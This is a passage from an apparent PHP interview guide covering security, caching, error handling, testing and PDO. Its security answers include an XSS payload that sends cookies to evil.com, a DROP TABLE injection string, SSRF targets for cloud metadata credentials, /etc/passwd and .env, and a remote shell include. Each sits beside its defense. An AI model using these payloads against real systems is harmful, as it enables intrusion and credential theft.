$stmt = $pdo->prepare("SELECT * FROM users WHERE email = :email AND status = :status");
$stmt->execute(['email' => $email, 'status' => 'active']);
// HOW IT WORKS: the SQL structure is sent to the database server in a compile step.
// The server parses and validates the query template once.
// Parameters are sent separately in an execute step.
// The server NEVER interprets parameter values as SQL — they are always data.
// What prepared statements do NOT prevent:
// 1. Dynamic identifiers (table/column names cannot be parameterized)
$table = $_GET['sort_by']; // attacker sends: "users; DROP TABLE users --"
$stmt = $pdo->prepare("SELECT * FROM posts ORDER BY $table"); // still injectable!
// FIX: strict whitelist
$allowedColumns = ['created_at', 'title', 'view_count'];
if (!in_array($table, $allowedColumns, true)) {
throw new \InvalidArgumentException("Invalid sort column");
}
$stmt = $pdo->prepare("SELECT * FROM posts ORDER BY {$table}");
// 2. LIKE wildcards — % and _ are query characters inside parameter values
// If user searches "100%" they find everything. Escape them if needed:
$search = '%' . str_replace(['%', '_'], ['\\%', '\\_'], $userInput) . '%';
$stmt->execute(['search' => $search]);
Q24. What is the difference between XSS and CSRF in PHP? How do you prevent each?
What the interviewer is testing: Whether you can distinguish these two distinct attack vectors and articulate defenses at the correct layer.
XSS (Cross-Site Scripting): Attacker injects JavaScript into your page that executes in other users' browsers, stealing session cookies or performing actions as the victim.
// REFLECTED XSS — user input echoed back immediately
// Attacker sends: https://example.com/search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>
// VULNERABLE:
echo "Search results for: " . $_GET['q'];
// SAFE: always encode output at the correct context
echo "Search results for: " . htmlspecialchars($_GET['q'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
// STORED XSS: attacker saves payload to database, served to ALL users
// Prevention: escape on OUTPUT (when rendering), not on input
// Content Security Policy header adds defense-in-depth:
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
CSRF (Cross-Site Request Forgery): Attacker tricks an authenticated user's browser into sending a forged request to your application. The browser automatically sends cookies with the request, so the server cannot distinguish it from a legitimate request.
// CSRF prevention: synchronizer token pattern
session_start();
// Generate token on session start (or per-form for stricter protection)
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// Validate on state-changing requests (POST, PUT, DELETE)
function validateCsrfToken(): void {
$submitted = $_POST['csrf_token'] ?? $_SERVER['HTTP_X_CSRF_TOKEN'] ?? '';
$expected = $_SESSION['csrf_token'] ?? '';
// hash_equals is timing-safe — prevents timing oracle attacks
if (!hash_equals($expected, $submitted)) {
http_response_code(403);
throw new \SecurityException('CSRF token validation failed');
}
}
// Modern defense: SameSite cookie attribute (supported in all modern browsers)
// SameSite=Strict: cookies never sent with cross-site requests
// SameSite=Lax: cookies sent with top-level navigations only
session_set_cookie_params(['samesite' => 'Strict', 'httponly' => true, 'secure' => true]);
Q25. How do you hash passwords correctly in PHP? What is wrong with md5, sha1, and even bcrypt without options?
What the interviewer is testing: Security depth. Knowing why fast hash algorithms are wrong for passwords separates candidates who have internalized security principles from those who memorize rules.
// WRONG: MD5, SHA1, SHA256 — general-purpose hash functions designed to be FAST
// A modern GPU can compute ~10 billion MD5 hashes per second
// A leaked database of MD5 hashes is cracked in minutes
$badHash = md5($password); // never use for passwords
$badHash = sha256($password); // still wrong — too fast, no work factor
// WRONG: bcrypt without tuning the cost factor
// Default cost is 10 — was appropriate in 2012, may be too low on modern hardware
// bcrypt is also limited to 72 bytes (silently truncates longer passwords)
$bcrypt = password_hash($password, PASSWORD_BCRYPT); // cost=10 default — check if adequate
// CORRECT: Argon2id — memory-hard and side-channel resistant (PHP 7.3+)
$hash = password_hash($password, PASSWORD_ARGON2ID, [
'memory_cost' => 65536, // 64MB — memory hardness defeats GPU/ASIC attacks
'time_cost' => 4, // 4 iterations
'threads' => 3, // parallelism
]);
// Verify — always use password_verify() — it is timing-safe by design
if (password_verify($password, $hash)) {
// Authentication succeeded
// Upgrade hash algorithm/parameters transparently on next login:
if (password_needs_rehash($hash, PASSWORD_ARGON2ID, ['memory_cost' => 65536])) {
$newHash = password_hash($password, PASSWORD_ARGON2ID, ['memory_cost' => 65536]);
$userRepository->updatePasswordHash($userId, $newHash);
}
}
// NEVER compare hashes with ==, ===, or strcmp — use hash_equals() or password_verify()
// Timing attacks can extract hash characters by measuring comparison time
Real breach context: In 2012 LinkedIn had 165 million user hashes stolen. The majority were unsalted SHA-1 — attackers cracked most of them within hours using precomputed rainbow tables. In 2016, 117 million of those same hashes were sold publicly. Had the team used bcrypt with a per-user salt, cracking at scale would have been computationally infeasible. PHP's password_hash() applies a per-password random salt automatically — this is not optional and it is already built in.
Q26. What is SSRF and how does PHP's file_get_contents() enable it?
What the interviewer is testing: Whether you recognize that PHP's URL-handling functions are SSRF primitives when given unvalidated input — and whether you know the specific PHP stream wrapper abuse that makes it worse than in most other languages.
// SSRF (Server-Side Request Forgery): server makes HTTP requests to attacker-specified URLs
// Attacker can reach internal services the server can talk to but the internet cannot
// VULNERABLE: fetching user-supplied URLs
$url = $_POST['feed_url'];
$content = file_get_contents($url); // attacker sends:
// http://169.254.169.254/latest/meta-data/iam/security-credentials/ (AWS metadata)
// http://localhost:6379 (Redis — if no auth configured)
// http://10.0.0.50/admin (internal admin panel)
// PHP wrappers make it WORSE — can read local files:
// file_get_contents("file:///etc/passwd")
// file_get_contents("php://filter/read=convert.base64-encode/resource=/var/www/.env")
// PREVENTION:
function fetchSafe(string $url): string {
// 1. Parse and validate the URL
$parts = parse_url($url);
if (!in_array($parts['scheme'] ?? '', ['http', 'https'], true)) {
throw new \InvalidArgumentException("Only HTTP/HTTPS URLs are allowed");
}
// 2. Resolve hostname — block private/loopback ranges
$ip = gethostbyname($parts['host']);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
throw new \SecurityException("URL resolves to a private IP address");
}
// 3. Use curl with explicit restrictions
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => false, // don't follow redirects to internal URLs
CURLOPT_TIMEOUT => 10,
CURLOPT_PROTOCOLS => CURLPROTO_HTTP | CURLPROTO_HTTPS, // restrict protocols
]);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
Real breach context: The 2019 Capital One breach (106 million customer records) was SSRF-based: the attacker sent a request to an internal metadata endpoint (169.254.169.254) that returned AWS IAM credentials, then used those credentials to access S3 buckets. The PHP equivalent is exactly the file_get_contents() pattern above. Network-level controls (blocking metadata IP ranges from application servers) are essential defense-in-depth, but the application layer must also validate and restrict URLs.
Q27. What are PHP's critical security-related php.ini directives?
What the interviewer is testing: Server hardening knowledge — knowing not just what to set but why each directive matters.
; ---- php.ini production hardening ----
; Never expose PHP version to attackers
expose_php = Off ; removes X-Powered-By: PHP/8.x header
; Never show errors to end users — log them instead
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /var/log/php/errors.log
error_reporting = E_ALL ; log everything — including notices
; Prevent remote file inclusion attacks
allow_url_include = Off ; do NOT allow include("http://evil.com/shell.php")
allow_url_fopen = Off ; optional — restricts URL-based file reads globally
; may break legitimate code — evaluate per-app
; Session hardening
session.cookie_httponly = On ; prevent JavaScript from reading session cookie (XSS mitigation)
session.cookie_secure = On ; transmit session cookie over HTTPS only
session.cookie_samesite = Lax ; prevents CSRF for most cases; use Strict for stricter protection
session.use_strict_mode = On ; reject sessions initiated with unrecognized session IDs
session.gc_maxlifetime = 1440 ; session lifetime in seconds
; Restrict dangerous shell execution functions
; (adjust based on whether your app legitimately needs these)
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
; File upload limits
upload_max_filesize = 10M
post_max_size = 12M ; must be larger than upload_max_filesize
; Resource limits (prevent denial of service)
memory_limit = 256M
max_execution_time = 30
max_input_time = 60
Q28. How do you prevent file upload vulnerabilities in PHP?
What the interviewer is testing: Knowledge of a specific class of vulnerabilities that appears in every PHP security audit.
The core rule: the MIME type in $_FILES['file']['type'] is client-supplied and completely untrusted. An attacker can send any value they want. Never use it for security decisions.
function handleImageUpload(array $file): string {
// 1. Validate upload completed without error
if ($file['error'] !== UPLOAD_ERR_OK) {
throw new UploadException("Upload error code: {$file['error']}");
}
// 2. Confirm it's actually an uploaded file (prevents path traversal in tmp_name)
if (!is_uploaded_file($file['tmp_name'])) {
throw new \SecurityException("Not an uploaded file");
}
// 3. Detect REAL MIME type from file content — not the client-supplied type header
$finfo = new \finfo(FILEINFO_MIME_TYPE);
$realMime = $finfo->file($file['tmp_name']);
$allowedMimes = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
if (!in_array($realMime, $allowedMimes, true)) {
throw new \InvalidArgumentException("File type not allowed: $realMime");
}
// 4. Verify it is a valid image (getimagesize returns false for non-images)
if (getimagesize($file['tmp_name']) === false) {
throw new \InvalidArgumentException("File is not a valid image");
}
// 5. Generate a random filename — NEVER trust $_FILES['file']['name']
// User-supplied names can contain: ../../../etc/passwd, shell.php, etc.
$extensions = ['image/jpeg' => 'jpg', 'image/png' => 'png',
'image/gif' => 'gif', 'image/webp' => 'webp'];
$filename = bin2hex(random_bytes(16)) . '.' . $extensions[$realMime];
// 6. Store OUTSIDE the webroot — serve via PHP, never directly accessible
$destination = '/var/app/storage/uploads/' . $filename;
move_uploaded_file($file['tmp_name'], $destination);
return $filename;
}
// Additional: set upload directory permissions to 750, never execute from it
Performance & Caching (Q29–34)
Q29. What is the N+1 query problem and how do you solve it in PHP?
What the interviewer is testing: The most common database performance problem in PHP web applications — and whether you can fix it correctly without over-engineering.
// THE N+1 PROBLEM: 1 query for the list, then N queries for related data
$users = $pdo->query("SELECT * FROM users LIMIT 100")->fetchAll();
foreach ($users as $user) {
// Executes 100 separate queries — one per user
$orders = $pdo->query("SELECT * FROM orders WHERE user_id = {$user['id']}")->fetchAll();
processUserOrders($user, $orders);
}
// Total: 1 + 100 = 101 queries for 100 users
// SOLUTION 1: JOIN (single query, potential cartesian product expansion)
$rows = $pdo->query("
SELECT u.id, u.name, o.id AS order_id, o.total, o.created_at
FROM users u
LEFT JOIN orders o ON o.user_id = u.id
LIMIT 100
")->fetchAll();
// Group by user in PHP:
$users = [];
foreach ($rows as $row) {
$users[$row['id']]['name'] = $row['name'];
if ($row['order_id']) {
$users[$row['id']]['orders'][] = ['id' => $row['order_id'], 'total' => $row['total']];
}
}
// Downside: JOIN multiplies rows if users have many orders
// SOLUTION 2: Eager loading — 2 queries regardless of user count (best for most cases)
$users = $pdo->query("SELECT * FROM users LIMIT 100")->fetchAll();
$userIds = array_column($users, 'id');
$placeholders = implode(',', array_fill(0, count($userIds), '?'));
$stmt = $pdo->prepare("SELECT * FROM orders WHERE user_id IN ($placeholders)");
$stmt->execute($userIds);
$ordersByUserId = [];
foreach ($stmt->fetchAll() as $order) {
$ordersByUserId[$order['user_id']][] = $order;
}
foreach ($users as &$user) {
$user['orders'] = $ordersByUserId[$user['id']] ?? [];
}
// 2 total queries — scales to any number of users
Q30. What is the difference between Redis, Memcached, and APCu for PHP caching? When do you use each?
What the interviewer is testing: Whether you understand that these three tools operate at different scopes — process memory, single server, distributed cluster — and can justify which tier solves a given problem instead of defaulting to "just use Redis for everything."
- APCu: Shared memory within the PHP-FPM process. Zero network latency — fastest possible. Not shared between servers. Lost on FPM restart. Best for: config objects, computed values, metadata that's the same on all servers.
- Memcached: Distributed in-memory key-value store. Shared across servers. Simple data types only. No persistence (data lost on restart). Best for: session storage, simple caches in multi-server setups where simplicity matters.
- Redis: Distributed in-memory store with rich data types (strings, hashes, lists, sets, sorted sets, streams). Optional persistence (RDB/AOF). Pub/sub, Lua scripting, transactions, atomic operations. Best for: everything Memcached does plus queues, rate limiters, leaderboards, real-time features, job dispatching.
// APCu — local process cache
if (apcu_exists('app_config')) {
$config = apcu_fetch('app_config');
} else {
$config = loadConfigFromDatabase();
apcu_store('app_config', $config, 3600); // TTL in seconds
}
// Redis with phpredis extension
$redis = new \Redis();
$redis->connect('127.0.0.1', 6379);
// Simple string cache with TTL
$redis->setex('user:1', 3600, json_encode($user));
$user = json_decode($redis->get('user:1'), true);
// Hash — store object fields individually (avoids re-serializing for partial updates)
$redis->hMSet('user:1', ['name' => 'Alice', 'email' => 'alice@example.com']);
$name = $redis->hGet('user:1', 'name');
// Sorted set — rate limiting (counts per sliding window)
$key = "rate:user:$userId:" . floor(time() / 60);
$current = $redis->incr($key);
$redis->expire($key, 60);
if ($current > 100) {
throw new RateLimitException('Too many requests');
}
Q31. How do you process large datasets in PHP without exhausting memory?
What the interviewer is testing: Whether you know how to stream data through PHP rather than loading it all into memory — a fundamental skill for data processing roles.
// PROBLEM: fetchAll() loads entire result set into PHP memory
$allUsers = $pdo->query("SELECT * FROM users")->fetchAll(); // 1M rows = crash
// SOLUTION 1: Cursor-based iteration with unbuffered queries (MySQL)
$pdo->setAttribute(\PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false);
$stmt = $pdo->query("SELECT * FROM users ORDER BY id");
while ($row = $stmt->fetch(\PDO::FETCH_ASSOC)) {
processUser($row); // memory = O(1 row) throughout
}
$stmt->closeCursor(); // release MySQL result set — required before next query
// SOLUTION 2: Generator wrapper for clean API
function streamUsers(\PDO $pdo): \Generator {
$pdo->setAttribute(\PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false);
$stmt = $pdo->query("SELECT * FROM users ORDER BY id");
while ($row = $stmt->fetch(\PDO::FETCH_ASSOC)) {
yield $row;
}
$stmt->closeCursor();
}
foreach (streamUsers($pdo) as $user) {
processUser($user);
// Memory stays constant regardless of how many users exist
}
// SOLUTION 3: Keyset pagination (better than LIMIT/OFFSET for large tables)
// OFFSET degrades as it grows — MySQL must skip N rows
$lastId = 0;
do {
$stmt = $pdo->prepare("SELECT * FROM users WHERE id > ? ORDER BY id LIMIT 1000");
$stmt->execute([$lastId]);
$rows = $stmt->fetchAll();
foreach ($rows as $row) {
processUser($row);
$lastId = $row['id'];
}
} while (count($rows) === 1000);
Q32. What is the difference between buffered and unbuffered queries in PDO?
What the interviewer is testing: Database driver behavior under the hood — and the specific limitations you must work around when switching modes.
// BUFFERED query (PDO default for MySQL):
// MySQL sends ALL rows to PHP memory before returning the first row.
// Advantages: can call rowCount(), use scrollable cursors, run subsequent queries immediately.
// Disadvantage: memory = O(result set size) — dangerous for large results.
// UNBUFFERED query:
$pdo->setAttribute(\PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false);
$stmt = $pdo->query("SELECT * FROM large_table");
// LIMITATIONS of unbuffered queries:
// 1. rowCount() returns -1 (undefined)
// 2. Cannot run another query on the same PDO connection until cursor is closed
// 3. Must call $stmt->closeCursor() before any subsequent query
$stmt->closeCursor(); // REQUIRED — releases MySQL result set
// 4. Cannot use a single PDO connection for two simultaneous queries.
// Opening a second query inside the loop while unbuffered:
$pdo->setAttribute(\PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false);
$outer = $pdo->query("SELECT id FROM users");
while ($row = $outer->fetch()) {
// $inner = $pdo->query("SELECT * FROM orders WHERE user_id = {$row['id']}");
// ^ Fatal: "Commands out of sync; you can't run this command now"
// FIX A: use a second PDO connection for the inner query
// FIX B: buffer inner results — $pdo2->query(...)->fetchAll()
// FIX C: restructure to eager loading (Q29) — eliminates the problem entirely
}
Q33. How do you handle long-running PHP processes?
What the interviewer is testing: Awareness of PHP's shared-nothing model and the specific challenges of processes that run for minutes or hours rather than milliseconds.
// PHP CLI has no max_execution_time limit by default
// But memory leaks accumulate over time — critical to manage
// 1. Free resources explicitly in loops
for ($i = 0; $i < 1_000_000; $i++) {
$result = processItem($i);
unset($result); // explicit free — helps GC with large objects
// 2. Periodically force GC collection in complex object graphs
if ($i % 10_000 === 0) {
gc_collect_cycles();
echo "Memory: " . memory_get_usage(true) / 1024 / 1024 . "MB\n";
}
}
// 3. Graceful shutdown on SIGTERM (for queue workers, daemons)
declare(ticks=1);
$running = true;
pcntl_signal(SIGTERM, function() use (&$running): void {
$running = false;
echo "Shutdown signal received — finishing current job\n";
});
pcntl_signal(SIGINT, function() use (&$running): void {
$running = false; // Ctrl+C in development
});
while ($running) {
$job = $queue->pop();
if ($job === null) {
sleep(1);
continue;
}
processJob($job);
pcntl_signal_dispatch(); // process any pending signals after each job
}
echo "Worker exited cleanly\n";
// 4. Self-restart after N jobs to reset any accumulated memory leaks
$jobsProcessed = 0;
while ($running) {
processNextJob();
if (++$jobsProcessed >= 1000) {
// Supervisor (supervisord) will restart the process automatically
exit(0);
}
}
Q34. What is async PHP? How do ReactPHP, Swoole, and RoadRunner differ?
What the interviewer is testing: Whether you understand PHP's concurrency options beyond the traditional synchronous request-response model.
- ReactPHP: Pure PHP event loop (no extensions required). Uses non-blocking stream I/O, Fibers (PHP 8.1+), and Promises. Your code runs in a single process with explicit async/await style. Best for I/O-heavy services where you control the codebase end-to-end.
- Swoole: C extension replacing PHP's I/O with non-blocking implementations. Coroutines look synchronous — you call
$db->query()and it yields automatically withoutawait. Significantly higher throughput for HTTP servers. Requires learning Swoole-specific APIs and has compatibility issues with some libraries. - RoadRunner: A Go-based application server that keeps PHP workers persistent across requests (solves the shared-nothing bottleneck) using a binary protocol over a Unix pipe. HTTP/2, WebSockets, gRPC, and queue workers. Your PHP code is mostly unmodified — it's the process model that changes. Practical for teams wanting 3–5× throughput improvement without rewriting PHP code.
// ReactPHP: non-blocking HTTP requests with Fibers (Revolt event loop)
use React\EventLoop\Loop;
use React\Http\Browser;
$browser = new Browser();
// Fire both requests simultaneously — both await in parallel
$promises = \React\Promise\all([
$browser->get('https://api.example.com/users'),
$browser->get('https://api.example.com/products'),
]);
$promises->then(function (array $responses): void {
[$usersResponse, $productsResponse] = $responses;
$users = json_decode((string) $usersResponse->getBody(), true);
$products = json_decode((string) $productsResponse->getBody(), true);
processData($users, $products);
});
Loop::run(); // start the event loop
Error Handling & Testing (Q35–40)
Q35. What is the difference between PHP errors and exceptions? How does the Throwable hierarchy work in PHP 7+?
What the interviewer is testing: Whether you know the specific interview trap: catch (\Exception $e) does NOT catch PHP engine errors — \Error is not a subclass of \Exception. A candidate who doesn't know this will write error handlers that silently miss TypeError, ParseError, and DivisionByZeroError.
// PHP's Throwable hierarchy (PHP 7+):
// Throwable (interface)
// ├── Error (engine-level — NOT \Exception, must catch \Error or \Throwable)
// │ ├── TypeError — wrong type passed to typed function/built-in (PHP 8 strict)
// │ ├── ParseError — syntax error inside eval()
// │ ├── ArithmeticError
// │ │ └── DivisionByZeroError
// │ ├── AssertionError — assert() failure
// │ └── ValueError (PHP 8.0) — valid type, invalid value (e.g. array_chunk size < 1)
// └── Exception (userland)
// ├── RuntimeException
// ├── LogicException
// ├── InvalidArgumentException
// └── ... (standard library exceptions)
// Concrete examples of what each catches:
try {
// TypeError: strlen() expects string, PHP 8 throws on int in strict_types context
strlen(42);
} catch (\TypeError $e) {
// Catches PHP engine type violation — NOT an \Exception subclass
echo $e->getMessage();
}
try {
$n = intdiv(1, 0); // DivisionByZeroError — subclass of ArithmeticError
} catch (\DivisionByZeroError $e) {
echo "Division by zero";
}
try {
throw new \RuntimeException('App error', 0, $previousException); // chain exceptions
} catch (\RuntimeException $e) {
echo $e->getPrevious()?->getMessage(); // access the chained cause
}
// Safety net: \Throwable catches BOTH \Error and \Exception
// Use only at the outermost layer (middleware, error handler, CLI bootstrap)
try {
runApplication();
} catch (\Throwable $e) {
logger()->critical('Unhandled error', ['exception' => $e]);
throw $e; // always re-throw — don't silently swallow Throwables
}
// E_NOTICE, E_WARNING, E_DEPRECATED do NOT throw automatically.
// Convert them to exceptions to make them impossible to ignore:
set_error_handler(function(int $errno, string $errstr, string $errfile, int $errline): bool {
if (!(error_reporting() & $errno)) {
return false; // error code suppressed by @-operator or error_reporting level
}
throw new \ErrorException($errstr, 0, $errno, $errfile, $errline);
});
Q36. What should error_reporting be set to in development vs production?
What the interviewer is testing: A simple question with a nuanced answer — most developers know "display errors off in production" but fewer understand why you should still log all error levels.
; Development — see and display everything
error_reporting = E_ALL
display_errors = On
display_startup_errors = On
log_errors = On
; Production — log everything, display nothing
error_reporting = E_ALL ; LOG all error levels, including notices and deprecated
; E_NOTICE reveals real issues (undefined variables, etc.)
; E_DEPRECATED warns of upcoming PHP version breakage
display_errors = Off ; NEVER show errors to users
display_startup_errors = Off
log_errors = On
error_log = /var/log/php/errors.log
; Common MISTAKE: suppressing notices/deprecated in production
; error_reporting = E_ALL & ~E_NOTICE & ~E_DEPRECATED ← BAD
; This hides bugs and compatibility issues until they become fatal
The interview insight: Silence is not safety. A production app that suppresses E_NOTICE is hiding bugs. Configure your log aggregation (ELK stack, Datadog, Sentry) to notify on E_DEPRECATED so you find PHP version incompatibilities months before the upgrade, not hours after.
Q37. What does PHP's finally block guarantee? When does it NOT execute?
What the interviewer is testing: Precise understanding of finally semantics — including the surprising case where a return in finally overwrites the try/catch return value.
// finally DOES execute when:
// - try block completes normally
// - an exception is caught in catch
// - a return or break exits the try or catch block
function test(): string {
try {
return 'try'; // queued
} finally {
return 'finally'; // executes BEFORE try's return leaves the function
// 'finally' is the actual return value — overwrites 'try'
}
}
echo test(); // 'finally' — surprising!
// Practical implication: never return from finally unless intentional
function cleanup(): void {
try {
doWork();
} catch (\Exception $e) {
logError($e);
} finally {
releaseResources(); // always runs — correct use of finally
// DO NOT: return here — it would suppress the exception from catch
}
}
// finally does NOT execute when:
// 1. The PHP process is killed with exit() or die()
try {
exit(1);
} finally {
echo "never runs"; // exit() bypasses finally
}
// 2. A fatal error that doesn't go through the exception mechanism
// (rare in PHP 8+ since most engine errors are now catchable)
// 3. The process receives an unhandled signal (SIGKILL)
// pcntl_alarm() timeout also bypasses finally
Q38. How do you write testable PHP code? What are the four patterns that make PHP code impossible to unit test?
What the interviewer is testing: Whether you can name the four specific patterns that make PHP code impossible to unit test — because every legacy PHP codebase a middle developer inherits contains at least three of them, and the interviewer wants to know if you would make them worse or incrementally better.
// UNTESTABLE: hidden dependencies, static calls, direct I/O
class ReportGenerator {
public function generate(int $userId): string {
$db = new Database(getenv('DB_DSN')); // hidden, un-replaceable
$now = date('Y-m-d'); // not injectable — can't time-travel in tests
Mailer::send("report@company.com", "Daily report for $userId"); // static side-effect
$data = $db->query("SELECT * FROM events WHERE user_id = $userId AND date = '$now'");
return $this->format($data);
}
}
// TESTABLE: explicit dependencies, time as a parameter, interfaces over concrete classes
class ReportGenerator {
public function __construct(
private readonly EventRepository $events,
private readonly MailerInterface $mailer,
private readonly \DateTimeImmutable $clock,
) {}
public function generate(int $userId): string {
$date = $this->clock->format('Y-m-d');
$data = $this->events->findByUserAndDate($userId, $date);
$report = $this->format($data);
$this->mailer->send("report@company.com", $report);
return $report;
}
}
// In tests: inject mocks and a fixed clock
$mockEvents = $this->createMock(EventRepository::class);
$mockEvents->method('findByUserAndDate')->willReturn([/* fixture data */]);
$mockMailer = $this->createMock(MailerInterface::class);
$mockMailer->expects($this->once())->method('send');
$fixedClock = new \DateTimeImmutable('2026-01-15');
$generator = new ReportGenerator($mockEvents, $mockMailer, $fixedClock);
$result = $generator->generate(1);
$this->assertStringContainsString('2026-01-15', $result);
The four testability killers: (1) new ClassName() inside service methods — inject factories or use DI; (2) static method calls to external services; (3) global variables or superglobal reads deep inside business logic; (4) direct filesystem/database access without an abstraction interface.
Q39. What are PHPUnit data providers and how do you structure them effectively?
What the interviewer is testing: Whether you write lean, readable tests — not copy-paste test methods with the same logic and different input values.
use PHPUnit\Framework\TestCase;
use PHPUnit\Framework\Attributes\DataProvider;
class SlugifierTest extends TestCase {
#[DataProvider('slugCases')]
public function testSlugify(string $input, string $expected): void {
$this->assertSame($expected, slugify($input));
}
// Data provider is a static method — must return iterable of [input, expected] arrays
// Named keys (e.g., 'basic words') appear in failure messages:
// FAILED: SlugifierTest::testSlugify with data set "special chars"
public static function slugCases(): array {
return [
'basic words' => ['Hello World', 'hello-world'],
'special chars' => ['Héllo & Wörld', 'hello-world'],
'multiple spaces' => ['foo bar', 'foo-bar'],
'trailing dash' => ['foo-', 'foo'],
'empty string' => ['', ''],
'numbers' => ['Article 42', 'article-42'],
'already a slug' => ['already-a-slug', 'already-a-slug'],
];
}
// Data providers can also yield (memory-efficient for large datasets):
public static function largeCases(): \Generator {
foreach (loadTestFixturesFromFile('slugs.csv') as $row) {
yield $row['name'] => [$row['input'], $row['expected']];
}
}
}
PHPUnit 10 note: The #[DataProvider('methodName')] attribute replaced @dataProvider docblock annotation. Both work in PHPUnit 10+, but the attribute is preferred for new code.
Q40. How do you debug PHP in production?
What the interviewer is testing: Production experience — specifically the difference between debug tools that are safe in production and those that cause outages.
- Structured logging with context: Log every exception with a request ID, user ID, and relevant context. A missing request correlation ID is the #1 preventable debugging failure. Use
Monologwith aProcessorthat adds context to every log entry. - Sentry / Bugsnag / Rollbar: Error monitoring with full stack traces, breadcrumbs, user context, and release tracking. Catch exceptions in real-time without reading log files. Every PHP project should have one configured.
- Blackfire.io: Production-safe profiler. Uses a sampling approach via browser extension or CLI. Triggered selectively per-request, not on all traffic. The correct tool for profiling production performance — Xdebug has 20–100% overhead and must never run on a production server under load.
- Tideways: Continuous profiling agent with automatic trace collection for slow requests. Samples traces in the background with minimal overhead — the right tool for finding performance regressions across deployments.
- php-fpm slow log: Set
request_slowlog_timeout = 2sin your pool config. Generates a stack trace for every request that takes more than 2 seconds — zero overhead for fast requests.
// Emergency production debug with secret-key gating:
if (hash_equals($_ENV['DEBUG_SECRET'] ?? '', $_SERVER['HTTP_X_DEBUG_KEY'] ?? '')) {
ini_set('display_errors', '1');
error_reporting(E_ALL);
// Only this request sees errors — all other traffic is unaffected
}
// Structured logging: add request context to every log entry via Monolog
$logger = new \Monolog\Logger('app');
$logger->pushProcessor(new \Monolog\Processor\IntrospectionProcessor());
$logger->pushProcessor(function (\Monolog\LogRecord $record): \Monolog\LogRecord {
return $record->with(extra: array_merge($record->extra, [
'request_id' => $_SERVER['HTTP_X_REQUEST_ID'] ?? bin2hex(random_bytes(8)),
'user_id' => $_SESSION['user_id'] ?? null,
]));
});
Databases, Design Patterns & Ecosystem (Q41–46)
Q41. How does PDO work? What is the difference between ATTR_EMULATE_PREPARES true and false?
What the interviewer is testing: Whether you understand that PHP's default PDO configuration for MySQL is not actually sending prepared statements to the server — and why changing it matters for correctness.
// Create a PDO connection with production-recommended settings
$pdo = new \PDO(
'mysql:host=127.0.0.1;dbname=myapp;charset=utf8mb4',
'user',
'password',
[
\PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION, // throw on error, not silent false
\PDO::ATTR_DEFAULT_FETCH_MODE => \PDO::FETCH_ASSOC, // return associative arrays
\PDO::ATTR_EMULATE_PREPARES => false, // use true server-side prepares
\PDO::ATTR_STRINGIFY_FETCHES => false, // return native PHP types (int, float)
]
);
// EMULATE_PREPARES = true (PDO default for MySQL):
// PHP does the parameter escaping ITSELF, then sends a regular query string to MySQL.
// No actual prepare step happens on the MySQL server.
// Pro: works with older MySQL, slightly fewer round trips for single-use queries.
// Con: type coercion can differ, MySQL query cache cannot reuse the plan.
// EMULATE_PREPARES = false (recommended):
// PHP sends the SQL template to MySQL's prepare endpoint.
// MySQL parses and validates the query once, returns a statement handle.
// Execute step sends parameters separately — MySQL treats them as pure data, never as SQL.
// Pro: MySQL can cache the query execution plan, stricter type checking.
// Con: requires PHP mysqlnd driver (standard in PHP 7+).
// With EMULATE_PREPARES = false and STRINGIFY_FETCHES = false:
$stmt = $pdo->prepare("SELECT id, age, score FROM users WHERE id = ?");
$stmt->execute([42]);
$row = $stmt->fetch();
var_dump($row['id']); // int(42) — native PHP int, not string
var_dump($row['score']); // float(9.5) — native PHP float
Q42. How does Composer's autoloader work? What is PSR-4 autoloading?
What the interviewer is testing: Whether you understand PHP's class loading mechanism beyond just running composer require.
// composer.json — register your namespace
{
"autoload": {
"psr-4": {
"App\\": "src/"
}
}
}
// PSR-4 mapping:
// Class: App\Controller\UserController
// File: src/Controller/UserController.php
// Rule: strip base namespace ("App\"), replace remaining "\" with "/", append ".php"
// After adding new classes or changing namespace mappings:
// composer dump-autoload -o (-o = --optimize = generates classmap)
// In production: ALWAYS use the optimized classmap:
// composer dump-autoload --optimize --no-dev --classmap-authoritative
// Composer generates vendor/autoload.php — include it once at bootstrap:
require_once __DIR__ . '/vendor/autoload.php';
// From this point, any PSR-4 mapped class loads automatically
// The autoloader uses spl_autoload_register — calling chain:
// new App\Service\OrderService()
// → PHP calls registered autoload functions
// → Composer's ClassLoader looks up "App\Service\OrderService" in classmap
// → classmap says: this class is in src/Service/OrderService.php
// → require that file
// → class is now available
// classmap vs PSR-4:
// PSR-4: directory traversal on every class load (filesystem reads)
// classmap: one array lookup (in-memory, or APCu-cached)
// --classmap-authoritative: throws immediately if class not in classmap (no fallback scan)
Q43. How do database transactions work in PHP PDO? What are isolation levels?
What the interviewer is testing: Correctness and data integrity awareness — specifically knowing that transactions must always have a catch/rollback path.
// Transaction pattern — ALWAYS include rollback in catch
$pdo->beginTransaction();
try {
$pdo->exec("UPDATE accounts SET balance = balance - 100 WHERE id = 1");
$pdo->exec("UPDATE accounts SET balance = balance + 100 WHERE id = 2");
// Both succeed or neither changes:
$pdo->commit();
} catch (\Throwable $e) {
$pdo->rollBack();
throw $e; // re-throw after rollback — don't swallow
}
// Savepoints — nested transaction control within a transaction
$pdo->beginTransaction();
$pdo->exec("SAVEPOINT sp1");
try {
riskyOperation();
} catch (\Exception $e) {
$pdo->exec("ROLLBACK TO SAVEPOINT sp1"); // partial rollback
}
$pdo->commit(); // commits everything except the rolled-back savepoint
// Isolation levels — in order from least to most strict:
// READ UNCOMMITTED — dirty reads allowed (sees uncommitted changes from other transactions)
